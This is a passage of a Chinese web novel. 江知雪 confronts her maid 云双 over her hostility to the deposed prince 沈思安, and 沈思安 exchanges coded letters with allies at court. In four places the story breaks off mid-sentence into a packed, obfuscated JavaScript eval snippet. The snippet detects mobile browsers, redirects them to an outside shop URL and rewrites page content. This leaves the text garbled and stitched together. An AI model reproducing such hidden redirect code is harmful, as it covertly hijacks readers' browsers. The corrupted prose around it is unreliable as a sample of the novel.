“当着外人的面装装样子罢了。”云双真情实意地愤愤道:“我姐姐为了他鞍前马后,几次遇险。可他呢,冷着一张脸,什么表示都没有,理所应当地被人照顾着。他若真为了我姐姐好,就应该趁早放她离开。” 前面的话范氏是认同的,这最后一句话倒是让她有些听不懂了。既已成了夫妻,便是同辛苦共患难,若是被休掉,只怕会比现在的处境还要难。 她张张嘴,想同云双讲几句道理劝劝她,但看着对方稚嫩的脸,最终还是叹了口气。到底是个小孩子,现在正在气头上,说多了恐怕也听不进去。便顺着她的话委婉道:“你可问过你姐姐的想法,她也如你这般想吗?” “我姐姐自是不愿……” “我自是愿意留下的。”江知雪的声音在身后响起,云双心里一个咯噔,直直打起鼓来。 她回过头,就见小姐面上带笑,正掀开厨房的布帘走进来。 江知雪淡淡地扫了她一眼,温声说道:“刚换了衣服出来,就听见这边有说话声,便想着过来为范婶做些什么。”她边说便搬了一旁的凳子,就着云双身边坐了下来。 范婶干笑几声,连说不用她帮忙,自己快拾掇好了。颇有种被抓包的窘迫尴尬。 而云双此刻已经脸色煞白了。 方才小姐的那一眼,带着十足的冷意,见不到任何感情。她从未在小姐身上见到这样的眼神,还是看向她时。后背陡然起了一层鸡皮疙瘩,慌乱在心中聚集,随着心脏一起上下跳动。 小姐是不是听到了,她会怎么想,会怎么做?是不是对自己特别失望? 可是我没错啊!云双如是想着。 江知雪挽起袖子,没听范氏的推辞,兀自洗起木盆中的绿叶菜。 静谧的氛围在这间狭小的屋子里蔓延,针落可闻。 几人谁也没再说话,只余盆中水声哗哗。 直到菜洗净,米也下了锅,江知雪才带着云双出去。 沈思安是同江知雪一道过来的,在云双刚开始编排他们的时候。 他倚在门口,听着屋内云双说话本,竟觉得她的话十分有道理。这段时日,确是江知雪照顾他颇多,甚至不惜两次涉险去救他。 他低头看着自己的双手,仿佛见到上面混杂着数不清的鲜血,他行的道路注定逃不开各种死亡,或许哪天他自己也要身首异处。可她不一样,她的生活才刚刚开始。她害怕死亡,厌恶杀戮,注定不会与他同流合污。所以,“何不趁早放她离开”。 如果说当初在宅院里,他是因她闺阁女子的身份,怕拖了他后腿才欲将她送走,那么现在,他更多的是不愿他的肮脏碰触了她的干净。即使现在他自己还未察觉。 沈思安原本打算再听听云双还会说些什么,他心中愧疚太多,多骂他讽刺他几句,总能好受些。可江知雪忍无可忍冲了进去,并说她是自愿的。 手中幻视的鲜血如退潮般退去,他想到那天夜里,她说骄傲自己坚定选择了他。两句话在他脑中来回转着圈,直到江知雪要拉着云双出来,他才匆匆离去。 …… “我们似乎好久没有这样单独好好聊过天了。”在与茅屋相隔百米远的一块空地上,江知雪抬头看着天边晚霞说道。 此时太阳已经偏西,只余一点轮廓挂在林中树梢,显得尤为寂静。 温度较之下午明显低了起来,寒凉湿气一股脑地透过衣裳打在皮肤上。云双上前一步,与她并排而立:“是啊小姐,上次这般似乎还是上元节那天。” 话音落下,四周陷入一片沉寂,谁也没再主动出声。直到一阵风吹过,二人发丝纠缠,江知雪才幽幽开口,声音轻得也似像随风飘走:“今日你为何要那么说,刻意诋毁沈思安?” 云双眼中闪过一丝错愕,她早就想到小姐会问她这方面的事,却没想到第一句就是废太子。 她垂下眼睫,遮掩住眼底伤心,实话实说:“因为我恨他。” “自打我们过去,他并未做什么坏事,为何要恨?”任凭江知雪如何想,也没想到竟是这种理由。 云双转过头,面对着小姐,一半脸被太阳的余晖照着,一半脸藏在昏暗天色里,浅淡笑着:“他面如恶鬼,口不能言,废人一个。小姐,他配不上你。说实话,我甚至觉得他不如谢公子一分一毫。”她越往下说,眼中神色越深沉。 一字一句,如同数千根针,扎进江知雪心里,激起密密麻麻的疼。她不敢相信自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16529288|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的耳朵,不敢相信云双竟会拿沈思安与谢怀清相比,那个当初她口口声声痛骂的“谢怀清”,如今又成了的“谢公子”。 江知雪觉得自己没法再冷静,声音不禁提高了一些:“谢怀清已取了柳相千金,自是如今庶人的沈思安无法比的。”她亦转头面向云双:“但他出自宫廷,在幼时辩倒议事院一众朝臣,君子的才学礼仪与名声,他样样高出谢怀清。无论怎么说,归根结底,是我配不上他。” “可小姐你从前哪怕是在引梅园,也从未干过粗活,更不会数次有性命之忧!”云双亦急切道,眼中隐含泪光:“你的手应当执笔作诗绘画,你的……” “我的身体应当侍奉取乐高官大人?”江知雪打断她的话,声音听不出情绪。 云双拼命摇头,泪水顺着脸颊滑落:“小姐,你怎能这么想我,又怎能这般说自己?” “方才你提谢怀清,我才突然想到。你说沈思安比不上他,假使我未嫁与沈思安,而是与他心意相通,那么我如今应在何处?是他府邸装妾室的偏院,还是外面养外室的私宅?”说到这里,江知雪心中一片悲凉。 “你知道的,这两种我都不愿也不想。” “就算不嫁给他,我们还可以嫁去别的清白人家,总好过流放受苦,几次险些丧命?”云双突然抓住江知雪的胳膊,泪眼里是不切实际的妄想。 “主母会为我寻一门好亲事吗,我的一辈子难道要在她的掌控下度过?”江知雪胳膊吃痛,略皱了皱眉头,却并未让云双松开手:“更何况上次险些丧命,那不是你云双见死不救吗?” 她亦哭了起来。 江知雪说这句话的声音很轻,却如一道惊雷劈在云双耳畔,使她浑身汗毛倒竖,齿骨发寒。 她放下双手,神情有些怔愣,思绪也随之生了锈,脑中只剩一句:小姐还是发现了,一定是废太子告的状。 “我……” 江知雪向前两步,抬手轻抚去云双面上泪痕,痛苦道:“我不知你当时是出于什么心理,是想除了沈思安?可我分明告诉过你,他若死了,我们亦活不成。‘普天之下,莫非王土’,就算是逃,也总会有被发现的那天。诛九族的罪,阿娘又该怎么办?” “我不知道……我不知道,我并不想害了小姐,更不愿去伤害秦夫人……”云双猛然蹲下身,捂住耳朵呜咽着,哭得不能自已。 “我原想着你日夜操劳,而我最近对你多有疏忽,才让你怨了我,若非先前亲耳听到,我又怎知你对他又这么大的敌意。”江知雪也蹲下身,轻轻环住云双:“我当然明白你的心思,知晓我们之间的羁绊,但沈思安是我自愿选择的,也是我这辈子认定了的。我知道这很难,但我还是希望你能试着去接纳他。” 二人就这般互相靠着,望向越来越昏沉的天色,你一言我一语说着体己话。 云双是与她一同长大的妹妹,她愿意给她一次机会,即使已经威胁到了性命。 …… 是夜,主屋里,范氏和衣躺在床上,问身边张铁立:“你今日白天什么意思,怎么突然变了性子要留他们住下来?” 平日里明明就数他最谨慎。 “你没瞧见他们周身气质吗,一整个的都不是庄稼地里能长出来的,更像是金玉养出来的。” 范氏一直很是信任张铁立的话,但现下却有些疑惑:“可当时在厨房江云那丫头跟我说她们只是富贵人家的丫鬟……” “她说什么你就信什么?富贵人家出门在外难免会捏造个假身份,以免惹了麻烦。我猜他们多半就是京城中人。” “这如何猜出来的?”范氏着实懵了。 张铁立得意道:“这你别管,总之他们或许知道兆阳的消息呢。” 32. 虎头村(四) 这里与世隔绝,夜间并无烛火续昼。江知雪听云双提过,乡下都是日出而作,日落而息,舍不得燃油灯,更买不起蜡烛。 她当时只觉纳罕。在此之前,她所见过的最穷困潦倒的是街边的乞丐,更早之前,是幼时第一次遇见云双。 或许是身处京城繁华地,引梅园的不受待见和被主母克扣银钱,江知雪一度觉得她们算作普通人家。 直到今日,她看到了土墙草顶的屋子、拿过了有豁口的碗、尝过了寡淡的绿叶菜粥,才意识到,他们才是普通人家。 街头乞丐只是少数,富贵之人有如云端,大多数人过着如张铁立夫妇的生活,更有甚者,活得比他们拮据、落魄。可即便引梅园再没钱,她们夜里亦可烛火不熄。 江知雪坐在未点灯的房中桌边,思绪收回,和她对面的沈思安大眼瞪小眼。 月似弯钩,薄纱一般轻飘飘穿过云层,透出微弱的光,却照不进这一方暗室,只能依稀辨得对方轮廓。 江知雪脸上犹浮现一抹红晕。 沈思安今日在她进了厨房和云双交谈时,便不见了踪影,江知雪遍寻不得,也就随他去了。她能看出来,他绝非所表现出的这般废物,并隐隐觉得,他的身上藏了很多秘密。 用过晚膳后,天才擦黑。江知雪迈入房中,就见沈思安坐在桌边,偏过头看她。桌上摆了一个布包,里头是早就碾碎了的新鲜草叶。看布包的料子,是他身上的衣服。 江知雪上下打量一眼,果然在他衣摆处发现了撕碎的口子,手上也沾了不少泥土。 “这是药草?你去采这个做什么?”她感到疑惑不解,被碾碎了的新鲜药材只能当下使用,明显现在也没人生病啊。 沈思安神色看不出什么变化,只用手指了指她的衣裙下摆。 江知雪一下子便懂了他的意思,有些惊讶,面上泛起不明显的粉色:“你是如何知晓的?”她自认为伪装得很好,并且未和别人提到过。 沈思安又指了指自己眼睛,意思是说用眼看到的。 他自幼习武,感官要较之常人敏锐,又常年活在黑暗,几乎时刻处在警惕之中,观察微末细节早已成了他的习惯。 “这算解释吗?即使不说也知道是用眼睛看的吧。”江知雪心里忍不住嘀咕,她以为会有别的原因。但这段时间的相处却也让她明白,就算是有,以他的性格也不会多说半分。 即便如此,她的心里还是不觉涌进一股暖流,为他注意到她的伤,更不辞辛劳为她采来草药。江知雪声音很轻:“多谢。” 她缓步过去,小心拿起布包,又偷偷瞧了沈思安一眼。 天色变得越发昏沉,他的右半张脸隐在暗处,难以分辨。完好的左半张脸凌厉又冷淡,因着朦胧的光影,平添了一分柔和。他就这样坐着,便是贵不可言。 沈思安仍在看着她,准确说是盯着她掩在裙下的双脚。 “你......我现在便要上药了。”江知雪干巴巴地说了这么一句,希望他能听懂她的话外之音,先出去回避一下。 可他似乎并未听懂,仍是直直盯着,连点反应都不给。 江知雪只好直白道:“我准备上药了,能请你回避一下吗?”脸上的红晕随着话语越来越明显。 沈思安这才抬头,望向她的眼里闪过疑惑。他张了张嘴,随后向前伸出手,在江知雪同时递过去的手中写道:“你会敷药?” “如何不会?我先前亦帮你上过药,早已身经百战了。”江知雪眼睛睁圆,不敢相信自己给他敷了那么多次药,他竟还怀疑自己的能力。 话刚说完,她又不禁有些后悔,干嘛往人痛点上戳。 沈思安摇头,继续写:“此药用法不同,我不便详说,你……” “我去喊云双帮忙?”江知雪不由抢着问道。 “她会吗?” “那……你的意思是你帮我?” 江知雪犹豫地开口,连耳尖都变得通红。 沈思安点头,神情认真。他站起身朝江知雪走去,拿过她手中布包,在她一步步后退中向前逼近,直至江知雪到床边坐下,再不能退。 江知雪心跳如鹿撞,一双杏眼眨巴眨,愣是不知道该往何处看。 她平时虽有些跳脱,不似大家闺秀那般稳重端庄,在阿娘不那么严加看管甚至算是纵容下读了点不是女子该读的书,更憧憬大千世界,可还是受了规训的,不能让男子随意见了自己的脚。 她什么都不敢想,脑中只剩下这一句话,紧张地说了出来:“殿下,您不该……不能随意看女子的脚。”声音细若蚊吟。 沈思安略微一顿,随后倾身向前,单手捉了她的手写道:“不是夫妻?”又在江知雪反应过来后,瞳孔震颤下补了句:“名义上。” 他的表情依旧没有变化,那张好看的嘴唇似乎永远不会笑,分明调侃的话在他的表达下竟严肃又认真。 而对沈思安来说,他此番不过宽慰,算不得调侃,他亦不会调侃。 自进了皇宫,识文辨字后,三纲五常、天文地理、诗书典籍……便成了他每日的内容。暗日难熬,皇家书库中的书,他几乎都读了一遍。 许是他宫外的师父不拘一格、恣意风流,在大部分人中都吃得开,书中对女子的规训便更令他震惊,之后再难忍看宫中那行走坐卧皆是一动一矩的有权势地位的娘娘妃嫔。这其中就包括了在外男前露脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555385|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即为不贞。 一个女子的贞洁与露脚与否绑定在一起,这实在是毫无逻辑。沈思安并不认同,却也理解江知雪的想法。思想如扎根的巨树,根系蔓延四方天地,连根拔起谈何容易? 江知雪最终还是去了鞋袜,轻轻掀起遮住脚的裙摆,露出一双红肿、起了水泡的脚。 沈思安的动作堪称轻柔,手法亦是熟练,每一步都做得几近完美,就连缠绕的那块布都是刚刚好的状态,不紧勒却又严实地包裹住里头的药草。 江知雪静静看着,感受他些许凉意的手指不经意的触碰,大气都不敢出,脸上更是红了又红,连脖颈处都未能逃脱。 黑暗将他的轮廓柔了又柔,这本该是一副恬静、温馨的画面,江知雪却觉得分外不和谐。一个举手投足间有着浑然天成的贵气的人,还是前不久仍负盛望的太子殿下,上药包扎如此熟练,怎么想都是奇怪的。 或许在此之前,光鲜亮丽的表面下,他就吃了很多苦。她不敢再想。 …… 沉默在二人之间蔓延,江知雪望着窗外星斗,终是受不了这尴尬的气氛,幽幽开口:“我原谅了云双,你说这件事对吗?” 沈思安默然不语。江知雪瞧不见他的表情,内心有些惴惴:“你应是早就看出来了,她上次分明想害了你,可我仍然原谅了她……”话至后面,她已不知如何开口。 布料摩挲声响起,沈思安抬手敲了敲桌面,缓慢摇头,又伸出手向前。 虽然他们之间交流不多,但江知雪几乎瞬间意识到他是准备说些什么,亦向前伸出手去。 “人之常情。”只这四个字,他便抽回了手。江知雪内心大为震撼。 分明无声,却如雷贯耳,使她心脉鼓动,泪水夺眶而出。 她在心中想了无数他会说的话,愤恨的、悲痛的、后悔的……独独未想过他竟如此轻巧就揭过原谅了这件事,让她不安的心有了归处。 “人之常情”,江知雪第一次觉得这个词是如此令人动容。她与云双生活十数载,早已超越血脉,成了心连心的姐妹。 面对云双突然的改变,她几乎是惶恐的,在意识到对方想要杀了沈思安而毫无顾忌时,她更是痛苦难捱。在带云双谈话的路上,她无数次纠结将其送去云州。可面对她的眼泪和为了自己好的话语,江知雪到底是软了心,她舍不得她。 随之而来的便是对沈思安的愧疚和忏悔,可他竟说“人之常情”。她又想到京城传疯了的谣言,明明是这么好的太子殿下,如何就被传成那样不堪。 “若她下次还执迷不悟,我会让她离开的。”江知雪声音哽咽,泪光下的眼睛却是坚定的。这是她能给他的唯二承诺。 33. 虎头村(五) 沈思安不再回应,又是冗长的沉默,风吹过云层,掩住漫天星斗。 早过了入睡的时辰,江知雪看着房中床上仅一床的被褥,一时陷入两难,不知如何是好。 她又回头看向沈思安,透过窗外微弱的光亮,沈思安的轮廓隐约可见。 他只是静坐在那里,似乎正望着窗外,有风拂起他的发梢,朦朦胧胧的,仿佛下一瞬他也要随着风消散。 他的身体还太过虚弱,前几日山洞中的寒凉让他的手越发冰冷,江知雪回忆着他指尖的温度,心中想:理应是他睡床。 有了决定,她当下便动作起来,寻了包袱从中翻找厚实些的衣物,准备在桌凳上凑合一夜。 沈思安听见动静,转身望向她,轻叩桌面,表达他的疑惑。 “啊,这里只有一床被子,你睡床上吧。”江知雪的声音硬邦邦的,感觉无论怎么说都难免尴尬。 余光里沈思安站了起来,高大的身影遮住了窗外一半的亮光。他行至她跟前,在她抬头时摇了摇头,指尖轻轻落下:“你睡。” 江知雪拒绝得很快:“你的伤未好,不能再受冻了。况且前两天在我不知道的时候你肯定也做了很多,我不能再见你受苦而我安然地在床上睡着。”她尽量说得感激,不带旖旎的色彩。 “我亦如此。”沈思安直截了当。 江知雪的耳尖又不争气地染上通红。 她已猜不透他的心思。他说他们是名义上的夫妻,即是如此,那么按理来说,以他冷淡的性子,不该又是劳心劳神为她采药上药又是让她睡床。若是她……她在当初似乎也做了很多。 江知雪猝然想到初相见时,他一身伤病,她心中亦为他心疼过,可更多的是怕他没了,自己也吃不了兜着走。她想活着,她有所图,那沈思安呢?他如此做的目的是什么?她一无所有,总不能是图人吧,但他也说了是名义上…… 一番思想斗争后,问题竟是又回到最开始。 江知雪眨眨眼,甩掉脑中没有结果的纷杂,坚定道:“我不能同意。” 沈思安亦作如此。 一阵僵持过后,江知雪败下阵来,她妥协问道:“那应当如何?”总不能二人共枕而眠罢。 这一想法下一刻便被写于她手,一字一字,如沸腾的热水,灼得她指尖颤抖。 “和衣同卧,绝无逾矩。”他又补充道。 江知雪只觉自己像是锅中煮着的鸭子,从里到外都熟透了,她的声音晦涩:“这……不妥吧。” “你我夫妻。” “只是名义上……唔。”未及她说完,沈思安左手食指已覆于她唇,动作轻浅,宛如蜻蜓点水。 止住了她的话头,他便放下手,又在她手心解释:“仅你我二人知晓。” 江知雪心下大骇,看着对方轮廓,总觉得沈思安多半是疯了。谁能想到冷面尊贵寡言沉默的太子殿下,说起话来竟如此开放。 她想到云双,但若去了她那边,便是明摆着告诉张铁立夫妇,他们二人夫妻不睦或根本就是假夫妻,实在不可取。思来想去,眼下竟再无其他解决办法。 而以他们二人分毫不让的架势,若不同意这个决策,只怕是谁也不用睡了。 “好。”江知雪近乎无奈地点头。 沈思安并不知江知雪心中所想,倘若知晓,恐怕也会大吃一惊。 在无关紧要的事情上,他从不是会多想之人。比起你推我往僵持不下,不如从中去寻出利于双方的办法,毕竟活着可比那些虚名重要得多。 可江知雪处于深闺,所思所想皆受制于高墙,名声于她,虽不似寻常姑娘看作生命,却也堪比她半条命,从方才上药便能得知。她到底是为他所累,他愿意多费些心思解释,以安她心。 二人和衣而眠,分睡两边。 沈思安自躺下后便没了动静,呼吸轻得几不可闻。饶是如此,身旁不属于江知雪的热气源源不断地传来,犹如一把烈火,烧得她状似鹌鹑,几乎是心惊胆战地睡在床铺里侧,背对着他尽量靠墙而贴,恨不能在他俩中间分个楚河汉界。 生平第一次与男子同床共枕,江知雪从前觉得会是在酒至喧嚣过,烛红帐暖时,这是阿娘在她及笄后不久,言谈间偶有隐晦提到的。却不想如今是在死里逃生后,客宿农家时,还是如此尴尬奇怪的场面。 她盯着糊了一层不知什么涂料的黄土墙,突然意识到自己竟睡了里侧,似乎是方才大脑混乱间,沈思安有意如此,而她居然无意识地照做了。 阿娘曾教导她,女子成婚后,应睡在外侧,方便夜间随时侍奉夫君。她虽不解,却亦将其当作日后必行事项之一。 她原以为天下所有人都是这般做法,沈思安的行为却告诉她,原来也可以不这么做。 思绪随着心脏的“怦怦”声,渐渐飘散,阖眼前,江知雪的心里还在想着今夜指定睡不着。没一会儿,她的呼吸就变得绵长...... 长风破月,林动声声。窗外传来鸟叫,声音突兀且怪异。沈思安瞬间睁眼,快速却动静极小地下了床,从窗口跃了出去,几息便来到屋前百米远的空旷地。 此外无一人惊醒。对于张铁立夫妇来说,生活深山多年,早已对各种怪叫见怪不怪了,是以并未在意,翻个身又睡了过去。江知雪和云双因多日劳累,好不容易有正经床,皆睡得深沉并未醒来。 水汽凝聚如雨露,未出一刻,衣衫已变得潮湿。冷风穿林而来,经久不息,将身体吹得冰冷。 沈思安浑然不觉,抬头看向前方。 一截枯死的木枝上,站着一只巨大的栉雪雁。它通体漆黑,唯眼部周围通红一点。长喙锐利,恰似天边弯月。双爪粗壮,紧握枯木枝干,双目则如见猎物犀利如刀。 此鸟并不罕见,却极少有人见其全貌。听闻它爱乘风于高天之上,速度极快,而凶猛异常。曾有猎者欲对其进行捕射,无一例外皆无功而返,更有甚者因激怒它,而被抓伤亦或丧命。 可此刻,沈思安只是抬起左臂,那栉雪雁便张开双翅,轻巧落在其上。它的腿部挂着一个小竹筒,里头放着信件。竟是驯服它并做了信使。 沈思安单手解开竹筒,取出其内信件,展开来看。 其上字数不似以往寥寥数语,而是写着:二皇子从皇后手中救下一女童,余下一切皆妥,盼君安。 是玄影楼叶寻风的字迹。他以跟踪和探听情报为长,更有过目不忘的本事,特被派至皇宫。 出现变数了吗?沈思安顿目盯着字条许久,才从怀中取出火折子,栉雪雁似有所感,飞至一旁枝杈。 火光乍现,在冷风中疯狂舞动着,纸张触碰的瞬间,火舌大增,不过眨眼,便成了灰烬扬在风中。 沈思安淡然灭了烛火,再度揣入怀中。又从衣摆处撕下一截布料,果断咬破食指,以血为墨,以布作纸,写道:计划不变,盯紧变数,珍重自身。 待布上血迹凝固,他将其卷作一团,塞入竹筒。随后轻拍三下栉雪雁的头,看着它张开羽翼,乘风而走。 …… 四周雾气浓厚,仅一步开外便什么也看不清了。江知雪孤身走在其中,一步三看,但见无穷尽的山木环绕,如雨的水汽不留情面打在她的身上,她已是浑身湿透。 “这里是虎头村?”她保有一丝理智,心下想道:“我应是在睡觉才对。” 身后忽有群鸟惊拍长翅而起,一声声怪叫着、嘶吼着。江知雪陡然大惊,心都要跳出来。冷汗几乎从每根毛孔流出,全身上下早已分不清是水还是汗。 她不敢再动。直至鸟群飞散,四下骤静,她才长呼一口气。 “嗒、嗒、嗒……”又有声音自身后响起,起初如同雨水坠地,随着声音愈来愈近,更像是谁的脚步在靠近。 一步、两步,交替的时间诡异的相同,节奏、步伐、间距!宛如一只鬼魂盲无目的地行走,感知到生人,特来索命。 是鬼吧,是鬼吧?一定是鬼吧!江知雪再也忍受不了恐慌,大声叫喊起来:“云双!沈思安!你们在哪?” 动静戛然而止,下一瞬,更多的脚步声从四面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈思安似有所感,侧头而望。一双眼冰冷如锋,不似看活物。面上纹路于月色下分毫毕现,竟不似那日洞中骇人,更添妖异之感。 江知雪被他面上纹路所吸引,并未注意到他的眼神。 沈思安瞧见是她,身形微一顿,偏过头转身向她走去。 “你在这里做什么?”江知雪琢磨着话语开口,她更想问他在想什么。 沈思安指指天边弯月,抬起食指便欲写些什么。触及她手心之前,又换了中指,在上轻轻写道:“赏月。” 江知雪是看着他写的,自是看清了他的动作,未回应他赏月的拙劣借口,而且趁机捉住他的手,朝上摊开,就着月光,看见了他手中伤口。 食指处不知因何破了道口子,血迹已经干涸,结了痂。 “怎么回事?”江知雪的声音里藏着自己都没发现的关心。 沈思安挣开她的手,摇了摇头。 果然如此。冷风下江知雪的思绪格外清醒,知晓他是隐了秘密,便也不再多问。她轻轻叹出一口气,话语里仍含着担忧:“你总是一身伤,该有多痛?” 沈思安当即愣住,不动声色将右手背至身后,拇指摩挲着那一小处血痂,不做回应。 这或能算作他的一种自我保护机制,多说多错,免不得一顿责罚鞭打,遇到无法回答的问题不回应便对了。 更何况只是破点皮,怎么也算不得痛。自幼时起,他便一直受伤。起先不过些皮外伤,直到入了皇宫,受伤越来越重,伤口越来越多,严重时几月不见好。 但他依旧挺过来了,带着满身血淋淋的伤口挺过来了。 初时的疼痛早已不记得了,而后多年的痛处也变得模糊。他早已学会了忍受,正如他现在在忍受一样。只不过是稀松平常。 沈思安觉得她太过夸大。 江知雪不知他心中所想,但见他无所谓的样子,心中气极,又想到他方才冷如冰窖的手,还是软了声音。 “别吹风了,回去吧,我为你上点药?” 34. 虎头村(六) 山峦叠嶂,诡影重重,栉雪雁穿梭于高崖峭壁之间,盘旋飞向山间一隐蔽塔楼。 此山无名,奇险难寻,毒物猛兽,多生迷障,鲜有人至。正因此,倒成了玄影楼的落脚地之一。 塔楼建于山顶,玄铁砌成,通体漆黑,与四周树木黑影混作一体,难以分辨,是一贯的玄影楼风格。栉雪雁长啸一声,落在窗口。 “这么快就回来了?”明澜随叶寻风经过长长一段过道,一同走出。 过道灯火如昼,布置温馨宜人,竟是与外表的冰冷截然不同。 “二皇子的东西,自是不同于寻常之物。” “嘿,听你这语气,一副很自得的样子,难道是......?”明澜戳戳叶寻风,朝着他挤眉弄眼,余下未说的话不言而喻。 叶寻风拍开他的手:“胡说什么!倒不如看看主君如何吩咐。”他取下栉雪雁腿上的竹筒。 “在理,快瞧瞧他有没有提到我?”明澜赶忙凑上去,打眼一瞧,血色写就的书信令二人皆心头一跳。自沈思安那日跌下悬崖,几人便知晓只能执行第二个计划了。虽一切仍在掌控之中,却还是不免担心他的安危。二人对视一眼,待冷静下来后,再细看细想,字迹平整,传信迅速,处境应是安全。 思及此,明澜夸张地一步跳开:“老天,原说是一天后碰面,我在官驿附近足足等了两天,都不见他们踪影。好不容易来个信竟连提都未提到我,也不说说现下在哪,枉我们十多年的交情......” “有没有一种可能这是写给我的。”叶寻风连连抬手打断,颇觉无语:“我得速去禀报二皇子,先走一步。阿团,去吧。”说罢,不待明澜同他道别,便跨门而去。 名唤阿团的栉雪雁得了命令,亦扑腾个翅膀飞走。 “嘁,整天摆着一张冷脸,连那鸟都是如此!”明澜实在无聊,其他人都在忙碌,只自己整天孤独地闲荡着,虽心如明镜,却依旧故作气急败坏状大声道。 ...... 皇城外,叶寻风未及亮出腰牌,守卫便放了行。 倒并非他们玩忽职守、随意放人。二皇子去年底才从凛州封地回京,然其言行无状、整日酗酒,引得圣上大发雷霆,关了一月禁闭。这叶侍卫平日里跟随二皇子招猫逗狗,亦被打了二十鞭。当时可是整个皇宫都传遍了。而他又是个娃娃脸,平素还不苟言笑,其外貌和荒唐行迹与那表象个性大相径庭,着实让人印象深刻,见之难忘。 红墙深深,九曲连环,巡逻队半刻钟一趟,随处可见。高墙楼阁之上,每三尺便有一金甲卫,巡视上下。皇帝昏庸,可整个皇城却如同铁桶,栉雪雁高飞于天,其速如风,几百支箭羽下,只怕也被射成筛子。这也是为何让叶寻风多此一举的原因。 二皇子着华衣配玉冠,此刻斜坐在书桌前的紫檀椅上,手中握着一卷话本细读,一副玩世不恭的神态。 叶寻风肃脸走向前,在距离二皇子三步远的地方停下步子:“殿下。” “可曾寻到?”二皇子眼光未抬,手中话本翻了一页。 “寻到了。” “甚好!”二皇子倏然合上书页,拍案而起,一双眼里放着光:“来京数月,品酒无数,总算寻到凛州之酒了。明日咱们便去畅饮达旦,不醉不归!”一字一句都是对凛州的怀念。 叶寻风踟蹰片刻,犹豫着说:“咱们多方打听,苦寻于此,今日我见那老板眼里暗暗藏着精光,只怕喝到嘴中会有些波折。” “无妨,得遇美酒,一掷千金也是值得。” 二人就此对美酒一阵夸夸其谈,隐于暗处之人无意再听这等废话,悄然飞身离去。他要去查那姓叶的所言是否属实。 屋内二皇子口中仍在赞叹凛州酒的风味,眼睛却不动声色同叶寻风对视,双方又是好一阵探讨,待到本燃至一半的烛火渐弱,才慢慢止了话头,停了声音。 四下寂静,二皇子缓慢踱步至角落的巨大漆金翠玉花盆,轻敲五声,又探手摸向下侧一处浮雕祥云纹样。只听“咔嚓”一声,原本严丝合缝的玉盆底部,竟循着饰色图样现出几道缝隙。 他熟练取出分裂玉石,转动藏在其中的开关,不多时,书桌移开,露出掩于其下的暗室。 二人进入后,书桌又回归原位。 暗室漆黑,只一盏微弱油灯发出浅淡的光,照出模糊人影。隐约有风扫过,想来是有通路,但眼下并不是纠结于此的时机。 “大哥如何?”二皇子直白问道。 叶寻风摸出怀中的信,口中回道:“暂未与明澜碰面,但应是无恙。”说着便将信递了出去。 二皇子单手接过,见是粗麻布匹,眉心紧锁。甫一展开,瞧见字迹,更是大吃一惊。 默然片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589829|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,方才幽幽开口,由衷叹道:“苦了大哥了。” 他将信仔仔细细从头到尾看了一遍又一遍,不过十数字,却像是上头写了长篇大作。 布上血迹染红了眼眶,他的眼中划过心疼:“那个乞儿我自当知晓如何安排,何以为此血书一封,让我忧心。” 二皇子虽这般说,心底里亦明白,大哥一向寡言少语,不通情感,此番不惜以血言说,只为这等小事,不过是在担忧他。如今他身在局中,群狼环伺,恐怕行差踏错一步便是万劫不复。 “珍重自身。”他又看向最后一句,不禁念出声来,手指轻轻抚过,大哥也该珍重自身才是。 叶寻风亦深有感触,连声音放轻了些许:“只盼主君早日与明澜汇合。” 二皇子闭了闭眼,深叹一口气,再睁眼时,已是做了决定:“三日后,我亲自去会会那个小姑娘。” 如此桀骜难驯,应当给她些时间,但每个人时间有限,若她仍是不张开嘴,只能算作前几日自己看走眼了。 …… 许是做了噩梦的缘故,后半夜里,江知雪怎么也睡不安稳,一会儿是云双与她决裂,狠心抛下她;一会儿是被她杀死的黑衣人,满身是血的同她说话;一会儿又是群鬼喊冤。 天才蒙蒙亮,江知雪便睁了眼。 沈思安已在桌边坐着。他的一头长发被不知何时摸来的断木枝缠绕固定于发顶,衣服也不是昨日那件,应是梳洗过了。 回想梦中情景,散碎如沙石,叫她心有余悸。她轻觑一眼沈思安,突然忆起今日便要启程寻路,匆忙下了床收拾梳洗。 